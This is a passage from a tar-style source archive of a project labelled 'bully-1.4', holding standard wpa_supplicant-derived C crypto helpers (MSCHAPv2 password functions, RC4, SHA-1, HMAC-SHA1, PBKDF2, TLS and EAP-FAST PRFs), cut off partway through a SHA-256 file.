@old_password_len: Length of old_password * @encrypted_pw_block: 516-octet EncryptedPwBlock (OUT) * Returns: 0 on success, -1 on failure */ int new_password_encrypted_with_old_nt_password_hash( const u8 *new_password, size_t new_password_len, const u8 *old_password, size_t old_password_len, u8 *encrypted_pw_block) { u8 password_hash[16]; if (nt_password_hash(old_password, old_password_len, password_hash)) return -1; if (encrypt_pw_block_with_password_hash(new_password, new_password_len, password_hash, encrypted_pw_block)) return -1; return 0; } /** * nt_password_hash_encrypted_with_block - NtPasswordHashEncryptedWithBlock() - RFC 2759, Sect 8.13 * @password_hash: 16-octer PasswordHash (IN) * @block: 16-octet Block (IN) * @cypher: 16-octer Cypher (OUT) */ void nt_password_hash_encrypted_with_block(const u8 *password_hash, const u8 *block, u8 *cypher) { des_encrypt(password_hash, block, cypher); des_encrypt(password_hash + 8, block + 7, cypher + 8); } /** * old_nt_password_hash_encrypted_with_new_nt_password_hash - OldNtPasswordHashEncryptedWithNewNtPasswordHash() - RFC 2759, Sect. 8.12 * @new_password: 0-to-256-unicode-char NewPassword (IN; ASCII) * @new_password_len: Length of new_password * @old_password: 0-to-256-unicode-char OldPassword (IN; ASCII) * @old_password_len: Length of old_password * @encrypted_password_hash: 16-octet EncryptedPasswordHash (OUT) * Returns: 0 on success, -1 on failure */ int old_nt_password_hash_encrypted_with_new_nt_password_hash( const u8 *new_password, size_t new_password_len, const u8 *old_password, size_t old_password_len, u8 *encrypted_password_hash) { u8 old_password_hash[16], new_password_hash[16]; if (nt_password_hash(old_password, old_password_len, old_password_hash) || nt_password_hash(new_password, new_password_len, new_password_hash)) return -1; nt_password_hash_encrypted_with_block(old_password_hash, new_password_hash, encrypted_password_hash); return 0; } bully-1.4-00/src/crypto/ms_funcs.h000077500000000000000000000047731361530463600170440ustar00rootroot00000000000000/* * WPA Supplicant / shared MSCHAPV2 helper functions / RFC 2433 / RFC 2759 * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef MS_FUNCS_H #define MS_FUNCS_H int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password, size_t password_len, u8 *response); int generate_nt_response_pwhash(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password_hash, u8 *response); int generate_authenticator_response(const u8 *password, size_t password_len, const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, const u8 *nt_response, u8 *response); int generate_authenticator_response_pwhash( const u8 *password_hash, const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, const u8 *nt_response, u8 *response); int nt_challenge_response(const u8 *challenge, const u8 *password, size_t password_len, u8 *response); void challenge_response(const u8 *challenge, const u8 *password_hash, u8 *response); int nt_password_hash(const u8 *password, size_t password_len, u8 *password_hash); int hash_nt_password_hash(const u8 *password_hash, u8 *password_hash_hash); int get_master_key(const u8 *password_hash_hash, const u8 *nt_response, u8 *master_key); int get_asymetric_start_key(const u8 *master_key, u8 *session_key, size_t session_key_len, int is_send, int is_server); int __must_check encrypt_pw_block_with_password_hash( const u8 *password, size_t password_len, const u8 *password_hash, u8 *pw_block); int __must_check new_password_encrypted_with_old_nt_password_hash( const u8 *new_password, size_t new_password_len, const u8 *old_password, size_t old_password_len, u8 *encrypted_pw_block); void nt_password_hash_encrypted_with_block(const u8 *password_hash, const u8 *block, u8 *cypher); int old_nt_password_hash_encrypted_with_new_nt_password_hash( const u8 *new_password, size_t new_password_len, const u8 *old_password, size_t old_password_len, u8 *encrypted_password_hash); #endif /* MS_FUNCS_H */ bully-1.4-00/src/crypto/rc4.c000077500000000000000000000023141361530463600156770ustar00rootroot00000000000000/* * RC4 stream cipher * Copyright (c) 2002-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #define S_SWAP(a,b) do { u8 t = S[a]; S[a] = S[b]; S[b] = t; } while(0) int rc4_skip(const u8 *key, size_t keylen, size_t skip, u8 *data, size_t data_len) { u32 i, j, k; u8 S[256], *pos; size_t kpos; /* Setup RC4 state */ for (i = 0; i < 256; i++) S[i] = i; j = 0; kpos = 0; for (i = 0; i < 256; i++) { j = (j + S[i] + key[kpos]) & 0xff; kpos++; if (kpos >= keylen) kpos = 0; S_SWAP(i, j); } /* Skip the start of the stream */ i = j = 0; for (k = 0; k < skip; k++) { i = (i + 1) & 0xff; j = (j + S[i]) & 0xff; S_SWAP(i, j); } /* Apply RC4 to data */ pos = data; for (k = 0; k < data_len; k++) { i = (i + 1) & 0xff; j = (j + S[i]) & 0xff; S_SWAP(i, j); *pos++ ^= S[(S[i] + S[j]) & 0xff]; } return 0; } bully-1.4-00/src/crypto/sha1-internal.c000077500000000000000000000220511361530463600176550ustar00rootroot00000000000000/* * SHA1 hash implementation and interface functions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "sha1_i.h" #include "md5.h" #include "crypto.h" typedef struct SHA1Context SHA1_CTX; void SHA1Transform(u32 state[5], const unsigned char buffer[64]); /** * sha1_vector - SHA-1 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 of failure */ int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { SHA1_CTX ctx; size_t i; SHA1Init(&ctx); for (i = 0; i < num_elem; i++) SHA1Update(&ctx, addr[i], len[i]); SHA1Final(mac, &ctx); return 0; } /* ===== start - public domain SHA1 implementation ===== */ /* SHA-1 in C By Steve Reid 100% Public Domain ----------------- Modified 7/98 By James H. Brown Still 100% Public Domain Corrected a problem which generated improper hash values on 16 bit machines Routine SHA1Update changed from void SHA1Update(SHA1_CTX* context, unsigned char* data, unsigned int len) to void SHA1Update(SHA1_CTX* context, unsigned char* data, unsigned long len) The 'len' parameter was declared an int which works fine on 32 bit machines. However, on 16 bit machines an int is too small for the shifts being done against it. This caused the hash function to generate incorrect values if len was greater than 8191 (8K - 1) due to the 'len << 3' on line 3 of SHA1Update(). Since the file IO in main() reads 16K at a time, any file 8K or larger would be guaranteed to generate the wrong hash (e.g. Test Vector #3, a million "a"s). I also changed the declaration of variables i & j in SHA1Update to unsigned long from unsigned int for the same reason. These changes should make no difference to any 32 bit implementations since an int and a long are the same size in those environments. -- I also corrected a few compiler warnings generated by Borland C. 1. Added #include for exit() prototype 2. Removed unused variable 'j' in SHA1Final 3. Changed exit(0) to return(0) at end of main. ALL changes I made can be located by searching for comments containing 'JHB' ----------------- Modified 8/98 By Steve Reid Still 100% public domain 1- Removed #include and used return() instead of exit() 2- Fixed overwriting of finalcount in SHA1Final() (discovered by Chris Hall) 3- Changed email address from steve@edmweb.com to sreid@sea-to-sky.net ----------------- Modified 4/01 By Saul Kravitz Still 100% PD Modified to run on Compaq Alpha hardware. ----------------- Modified 4/01 By Jouni Malinen Minor changes to match the coding style used in Dynamics. Modified September 24, 2004 By Jouni Malinen Fixed alignment issue in SHA1Transform when SHA1HANDSOFF is defined. */ /* Test Vectors (from FIPS PUB 180-1) "abc" A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" 84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1 A million repetitions of "a" 34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F */ #define SHA1HANDSOFF #define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits)))) /* blk0() and blk() perform the initial expand. */ /* I got the idea of expanding during the round function from SSLeay */ #ifndef WORDS_BIGENDIAN #define blk0(i) (block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) | \ (rol(block->l[i], 8) & 0x00FF00FF)) #else #define blk0(i) block->l[i] #endif #define blk(i) (block->l[i & 15] = rol(block->l[(i + 13) & 15] ^ \ block->l[(i + 8) & 15] ^ block->l[(i + 2) & 15] ^ block->l[i & 15], 1)) /* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */ #define R0(v,w,x,y,z,i) \ z += ((w & (x ^ y)) ^ y) + blk0(i) + 0x5A827999 + rol(v, 5); \ w = rol(w, 30); #define R1(v,w,x,y,z,i) \ z += ((w & (x ^ y)) ^ y) + blk(i) + 0x5A827999 + rol(v, 5); \ w = rol(w, 30); #define R2(v,w,x,y,z,i) \ z += (w ^ x ^ y) + blk(i) + 0x6ED9EBA1 + rol(v, 5); w = rol(w, 30); #define R3(v,w,x,y,z,i) \ z += (((w | x) & y) | (w & x)) + blk(i) + 0x8F1BBCDC + rol(v, 5); \ w = rol(w, 30); #define R4(v,w,x,y,z,i) \ z += (w ^ x ^ y) + blk(i) + 0xCA62C1D6 + rol(v, 5); \ w=rol(w, 30); #ifdef VERBOSE /* SAK */ void SHAPrintContext(SHA1_CTX *context, char *msg) { printf("%s (%d,%d) %x %x %x %x %x\n", msg, context->count[0], context->count[1], context->state[0], context->state[1], context->state[2], context->state[3], context->state[4]); } #endif /* Hash a single 512-bit block. This is the core of the algorithm. */ void SHA1Transform(u32 state[5], const unsigned char buffer[64]) { u32 a, b, c, d, e; typedef union { unsigned char c[64]; u32 l[16]; } CHAR64LONG16; CHAR64LONG16* block; #ifdef SHA1HANDSOFF CHAR64LONG16 workspace; block = &workspace; os_memcpy(block, buffer, 64); #else block = (CHAR64LONG16 *) buffer; #endif /* Copy context->state[] to working vars */ a = state[0]; b = state[1]; c = state[2]; d = state[3]; e = state[4]; /* 4 rounds of 20 operations each. Loop unrolled. */ R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3); R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7); R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11); R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15); R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19); R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23); R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27); R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31); R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35); R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39); R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43); R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47); R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51); R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55); R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59); R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63); R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67); R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71); R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75); R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79); /* Add the working vars back into context.state[] */ state[0] += a; state[1] += b; state[2] += c; state[3] += d; state[4] += e; /* Wipe variables */ a = b = c = d = e = 0; #ifdef SHA1HANDSOFF os_memset(block, 0, 64); #endif } /* SHA1Init - Initialize new context */ void SHA1Init(SHA1_CTX* context) { /* SHA1 initialization constants */ context->state[0] = 0x67452301; context->state[1] = 0xEFCDAB89; context->state[2] = 0x98BADCFE; context->state[3] = 0x10325476; context->state[4] = 0xC3D2E1F0; context->count[0] = context->count[1] = 0; } /* Run your data through this. */ void SHA1Update(SHA1_CTX* context, const void *_data, u32 len) { u32 i, j; const unsigned char *data = _data; #ifdef VERBOSE SHAPrintContext(context, "before"); #endif j = (context->count[0] >> 3) & 63; if ((context->count[0] += len << 3) < (len << 3)) context->count[1]++; context->count[1] += (len >> 29); if ((j + len) > 63) { os_memcpy(&context->buffer[j], data, (i = 64-j)); SHA1Transform(context->state, context->buffer); for ( ; i + 63 < len; i += 64) { SHA1Transform(context->state, &data[i]); } j = 0; } else i = 0; os_memcpy(&context->buffer[j], &data[i], len - i); #ifdef VERBOSE SHAPrintContext(context, "after "); #endif } /* Add padding and return the message digest. */ void SHA1Final(unsigned char digest[20], SHA1_CTX* context) { u32 i; unsigned char finalcount[8]; for (i = 0; i < 8; i++) { finalcount[i] = (unsigned char) ((context->count[(i >= 4 ? 0 : 1)] >> ((3-(i & 3)) * 8) ) & 255); /* Endian independent */ } SHA1Update(context, (unsigned char *) "\200", 1); while ((context->count[0] & 504) != 448) { SHA1Update(context, (unsigned char *) "\0", 1); } SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */ for (i = 0; i < 20; i++) { digest[i] = (unsigned char) ((context->state[i >> 2] >> ((3 - (i & 3)) * 8)) & 255); } /* Wipe variables */ i = 0; os_memset(context->buffer, 0, 64); os_memset(context->state, 0, 20); os_memset(context->count, 0, 8); os_memset(finalcount, 0, 8); } /* ===== end - public domain SHA1 implementation ===== */ bully-1.4-00/src/crypto/sha1-pbkdf2.c000077500000000000000000000051441361530463600172150ustar00rootroot00000000000000/* * SHA1-based key derivation function (PBKDF2) for IEEE 802.11i * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "md5.h" #include "crypto.h" static int pbkdf2_sha1_f(const char *passphrase, const char *ssid, size_t ssid_len, int iterations, unsigned int count, u8 *digest) { unsigned char tmp[SHA1_MAC_LEN], tmp2[SHA1_MAC_LEN]; int i, j; unsigned char count_buf[4]; const u8 *addr[2]; size_t len[2]; size_t passphrase_len = os_strlen(passphrase); addr[0] = (u8 *) ssid; len[0] = ssid_len; addr[1] = count_buf; len[1] = 4; /* F(P, S, c, i) = U1 xor U2 xor ... Uc * U1 = PRF(P, S || i) * U2 = PRF(P, U1) * Uc = PRF(P, Uc-1) */ count_buf[0] = (count >> 24) & 0xff; count_buf[1] = (count >> 16) & 0xff; count_buf[2] = (count >> 8) & 0xff; count_buf[3] = count & 0xff; if (hmac_sha1_vector((u8 *) passphrase, passphrase_len, 2, addr, len, tmp)) return -1; os_memcpy(digest, tmp, SHA1_MAC_LEN); for (i = 1; i < iterations; i++) { if (hmac_sha1((u8 *) passphrase, passphrase_len, tmp, SHA1_MAC_LEN, tmp2)) return -1; os_memcpy(tmp, tmp2, SHA1_MAC_LEN); for (j = 0; j < SHA1_MAC_LEN; j++) digest[j] ^= tmp2[j]; } return 0; } /** * pbkdf2_sha1 - SHA1-based key derivation function (PBKDF2) for IEEE 802.11i * @passphrase: ASCII passphrase * @ssid: SSID * @ssid_len: SSID length in bytes * @iterations: Number of iterations to run * @buf: Buffer for the generated key * @buflen: Length of the buffer in bytes * Returns: 0 on success, -1 of failure * * This function is used to derive PSK for WPA-PSK. For this protocol, * iterations is set to 4096 and buflen to 32. This function is described in * IEEE Std 802.11-2004, Clause H.4. The main construction is from PKCS#5 v2.0. */ int pbkdf2_sha1(const char *passphrase, const char *ssid, size_t ssid_len, int iterations, u8 *buf, size_t buflen) { unsigned int count = 0; unsigned char *pos = buf; size_t left = buflen, plen; unsigned char digest[SHA1_MAC_LEN]; while (left > 0) { count++; if (pbkdf2_sha1_f(passphrase, ssid, ssid_len, iterations, count, digest)) return -1; plen = left > SHA1_MAC_LEN ? SHA1_MAC_LEN : left; os_memcpy(pos, digest, plen); pos += plen; left -= plen; } return 0; } bully-1.4-00/src/crypto/sha1-tlsprf.c000077500000000000000000000055571361530463600173670ustar00rootroot00000000000000/* * TLS PRF (SHA1 + MD5) * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "md5.h" #include "crypto.h" /** * tls_prf - Pseudo-Random Function for TLS (TLS-PRF, RFC 2246) * @secret: Key for PRF * @secret_len: Length of the key in bytes * @label: A unique label for each purpose of the PRF * @seed: Seed value to bind into the key * @seed_len: Length of the seed * @out: Buffer for the generated pseudo-random key * @outlen: Number of bytes of key to generate * Returns: 0 on success, -1 on failure. * * This function is used to derive new, cryptographically separate keys from a * given key in TLS. This PRF is defined in RFC 2246, Chapter 5. */ int tls_prf(const u8 *secret, size_t secret_len, const char *label, const u8 *seed, size_t seed_len, u8 *out, size_t outlen) { size_t L_S1, L_S2, i; const u8 *S1, *S2; u8 A_MD5[MD5_MAC_LEN], A_SHA1[SHA1_MAC_LEN]; u8 P_MD5[MD5_MAC_LEN], P_SHA1[SHA1_MAC_LEN]; int MD5_pos, SHA1_pos; const u8 *MD5_addr[3]; size_t MD5_len[3]; const unsigned char *SHA1_addr[3]; size_t SHA1_len[3]; if (secret_len & 1) return -1; MD5_addr[0] = A_MD5; MD5_len[0] = MD5_MAC_LEN; MD5_addr[1] = (unsigned char *) label; MD5_len[1] = os_strlen(label); MD5_addr[2] = seed; MD5_len[2] = seed_len; SHA1_addr[0] = A_SHA1; SHA1_len[0] = SHA1_MAC_LEN; SHA1_addr[1] = (unsigned char *) label; SHA1_len[1] = os_strlen(label); SHA1_addr[2] = seed; SHA1_len[2] = seed_len; /* RFC 2246, Chapter 5 * A(0) = seed, A(i) = HMAC(secret, A(i-1)) * P_hash = HMAC(secret, A(1) + seed) + HMAC(secret, A(2) + seed) + .. * PRF = P_MD5(S1, label + seed) XOR P_SHA-1(S2, label + seed) */ L_S1 = L_S2 = (secret_len + 1) / 2; S1 = secret; S2 = secret + L_S1; if (secret_len & 1) { /* The last byte of S1 will be shared with S2 */ S2--; } hmac_md5_vector_non_fips_allow(S1, L_S1, 2, &MD5_addr[1], &MD5_len[1], A_MD5); hmac_sha1_vector(S2, L_S2, 2, &SHA1_addr[1], &SHA1_len[1], A_SHA1); MD5_pos = MD5_MAC_LEN; SHA1_pos = SHA1_MAC_LEN; for (i = 0; i < outlen; i++) { if (MD5_pos == MD5_MAC_LEN) { hmac_md5_vector_non_fips_allow(S1, L_S1, 3, MD5_addr, MD5_len, P_MD5); MD5_pos = 0; hmac_md5_non_fips_allow(S1, L_S1, A_MD5, MD5_MAC_LEN, A_MD5); } if (SHA1_pos == SHA1_MAC_LEN) { hmac_sha1_vector(S2, L_S2, 3, SHA1_addr, SHA1_len, P_SHA1); SHA1_pos = 0; hmac_sha1(S2, L_S2, A_SHA1, SHA1_MAC_LEN, A_SHA1); } out[i] = P_MD5[MD5_pos] ^ P_SHA1[SHA1_pos]; MD5_pos++; SHA1_pos++; } return 0; } bully-1.4-00/src/crypto/sha1-tprf.c000077500000000000000000000036611361530463600170220ustar00rootroot00000000000000/* * SHA1 T-PRF for EAP-FAST * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "crypto.h" /** * sha1_t_prf - EAP-FAST Pseudo-Random Function (T-PRF) * @key: Key for PRF * @key_len: Length of the key in bytes * @label: A unique label for each purpose of the PRF * @seed: Seed value to bind into the key * @seed_len: Length of the seed * @buf: Buffer for the generated pseudo-random key * @buf_len: Number of bytes of key to generate * Returns: 0 on success, -1 of failure * * This function is used to derive new, cryptographically separate keys from a * given key for EAP-FAST. T-PRF is defined in RFC 4851, Section 5.5. */ int sha1_t_prf(const u8 *key, size_t key_len, const char *label, const u8 *seed, size_t seed_len, u8 *buf, size_t buf_len) { unsigned char counter = 0; size_t pos, plen; u8 hash[SHA1_MAC_LEN]; size_t label_len = os_strlen(label); u8 output_len[2]; const unsigned char *addr[5]; size_t len[5]; addr[0] = hash; len[0] = 0; addr[1] = (unsigned char *) label; len[1] = label_len + 1; addr[2] = seed; len[2] = seed_len; addr[3] = output_len; len[3] = 2; addr[4] = &counter; len[4] = 1; output_len[0] = (buf_len >> 8) & 0xff; output_len[1] = buf_len & 0xff; pos = 0; while (pos < buf_len) { counter++; plen = buf_len - pos; if (hmac_sha1_vector(key, key_len, 5, addr, len, hash)) return -1; if (plen >= SHA1_MAC_LEN) { os_memcpy(&buf[pos], hash, SHA1_MAC_LEN); pos += SHA1_MAC_LEN; } else { os_memcpy(&buf[pos], hash, plen); break; } len[0] = SHA1_MAC_LEN; } return 0; } bully-1.4-00/src/crypto/sha1.c000077500000000000000000000101411361530463600160400ustar00rootroot00000000000000/* * SHA1 hash implementation and interface functions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "crypto.h" /** * hmac_sha1_vector - HMAC-SHA1 over data vector (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash (20 bytes) * Returns: 0 on success, -1 on failure */ int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */ unsigned char tk[20]; const u8 *_addr[6]; size_t _len[6], i; if (num_elem > 5) { /* * Fixed limit on the number of fragments to avoid having to * allocate memory (which could fail). */ return -1; } /* if key is longer than 64 bytes reset it to key = SHA1(key) */ if (key_len > 64) { if (sha1_vector(1, &key, &key_len, tk)) return -1; key = tk; key_len = 20; } /* the HMAC_SHA1 transform looks like: * * SHA1(K XOR opad, SHA1(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in ipad */ os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with ipad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x36; /* perform inner SHA1 */ _addr[0] = k_pad; _len[0] = 64; for (i = 0; i < num_elem; i++) { _addr[i + 1] = addr[i]; _len[i + 1] = len[i]; } if (sha1_vector(1 + num_elem, _addr, _len, mac)) return -1; os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with opad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c; /* perform outer SHA1 */ _addr[0] = k_pad; _len[0] = 64; _addr[1] = mac; _len[1] = SHA1_MAC_LEN; return sha1_vector(2, _addr, _len, mac); } /** * hmac_sha1 - HMAC-SHA1 over data buffer (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @data: Pointers to the data area * @data_len: Length of the data area * @mac: Buffer for the hash (20 bytes) * Returns: 0 on success, -1 of failure */ int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { return hmac_sha1_vector(key, key_len, 1, &data, &data_len, mac); } /** * sha1_prf - SHA1-based Pseudo-Random Function (PRF) (IEEE 802.11i, 8.5.1.1) * @key: Key for PRF * @key_len: Length of the key in bytes * @label: A unique label for each purpose of the PRF * @data: Extra data to bind into the key * @data_len: Length of the data * @buf: Buffer for the generated pseudo-random key * @buf_len: Number of bytes of key to generate * Returns: 0 on success, -1 of failure * * This function is used to derive new, cryptographically separate keys from a * given key (e.g., PMK in IEEE 802.11i). */ int sha1_prf(const u8 *key, size_t key_len, const char *label, const u8 *data, size_t data_len, u8 *buf, size_t buf_len) { u8 counter = 0; size_t pos, plen; u8 hash[SHA1_MAC_LEN]; size_t label_len = os_strlen(label) + 1; const unsigned char *addr[3]; size_t len[3]; addr[0] = (u8 *) label; len[0] = label_len; addr[1] = data; len[1] = data_len; addr[2] = &counter; len[2] = 1; pos = 0; while (pos < buf_len) { plen = buf_len - pos; if (plen >= SHA1_MAC_LEN) { if (hmac_sha1_vector(key, key_len, 3, addr, len, &buf[pos])) return -1; pos += SHA1_MAC_LEN; } else { if (hmac_sha1_vector(key, key_len, 3, addr, len, hash)) return -1; os_memcpy(&buf[pos], hash, plen); break; } counter++; } return 0; } bully-1.4-00/src/crypto/sha1.h000077500000000000000000000023521361530463600160520ustar00rootroot00000000000000/* * SHA1 hash implementation and interface functions * Copyright (c) 2003-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef SHA1_H #define SHA1_H #define SHA1_MAC_LEN 20 int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac); int sha1_prf(const u8 *key, size_t key_len, const char *label, const u8 *data, size_t data_len, u8 *buf, size_t buf_len); int sha1_t_prf(const u8 *key, size_t key_len, const char *label, const u8 *seed, size_t seed_len, u8 *buf, size_t buf_len); int __must_check tls_prf(const u8 *secret, size_t secret_len, const char *label, const u8 *seed, size_t seed_len, u8 *out, size_t outlen); int pbkdf2_sha1(const char *passphrase, const char *ssid, size_t ssid_len, int iterations, u8 *buf, size_t buflen); #endif /* SHA1_H */ bully-1.4-00/src/crypto/sha1_i.h000077500000000000000000000014511361530463600163610ustar00rootroot00000000000000/* * SHA1 internal definitions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef SHA1_I_H #define SHA1_I_H struct SHA1Context { u32 state[5]; u32 count[2]; unsigned char buffer[64]; }; void SHA1Init(struct SHA1Context *context); void SHA1Update(struct SHA1Context *context, const void *data, u32 len); void SHA1Final(unsigned char digest[20], struct SHA1Context *context); void SHA1Transform(u32 state[5], const unsigned char buffer[64]); #endif /* SHA1_I_H */ bully-1.4-00/src/crypto/sha256-internal.c000077500000000000000000000147661361530463600200470ustar00rootroot00000000000000/* * SHA-256 hash implementation and interface functions * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha256.h" #include "crypto.h" struct sha256_state { u64 length; u32 state[8], curlen; u8 buf[64]; }; static void sha256_init(struct sha256_state *md); static int sha256_process(struct sha256_state *md, const unsigned char *in, unsigned long inlen); static int sha256_done(struct sha256_state *md, unsigned char *out); /** * sha256_vector - SHA256 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 of failure */ int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { struct sha256_state ctx; size_t i; sha256_init(&ctx); for (i = 0; i < num_elem; i++) if (sha256_process(&ctx, addr[i], len[i])) return -1; if (sha256_done(&ctx, mac)) return -1; return 0; } /* ===== start - public domain SHA256 implementation ===== */ /* This is based on SHA256 implementation in LibTomCrypt that was released into * public domain by Tom St Denis. */ /* the K array */ static const unsigned long K[64] = { 0x428a2f98UL, 0x71374491UL, 0xb5c0fbcfUL, 0xe9b5dba5UL, 0x3956c25bUL, 0x59f111f1UL, 0x923f82a4UL, 0xab1c5ed5UL, 0xd807aa98UL, 0x12835b01UL, 0x243185beUL, 0x550c7dc3UL, 0x72be5d74UL, 0x80deb1feUL, 0x9bdc06a7UL, 0xc19bf174UL, 0xe49b69c1UL, 0xefbe4786UL, 0x0fc19dc6UL, 0x240ca1ccUL, 0x2de92c6fUL, 0x4a7484aaUL, 0x5cb0a9dcUL, 0x76f988daUL, 0x983e5152UL, 0xa831c66dUL, 0xb00327c8UL, 0xbf597fc7UL, 0xc6e00bf3UL, 0xd5a79147UL, 0x06ca6351UL, 0x14292967UL, 0x27b70a85UL, 0x2e1b2138UL, 0x4d2c6dfcUL, 0x53380d13UL, 0x650a7354UL, 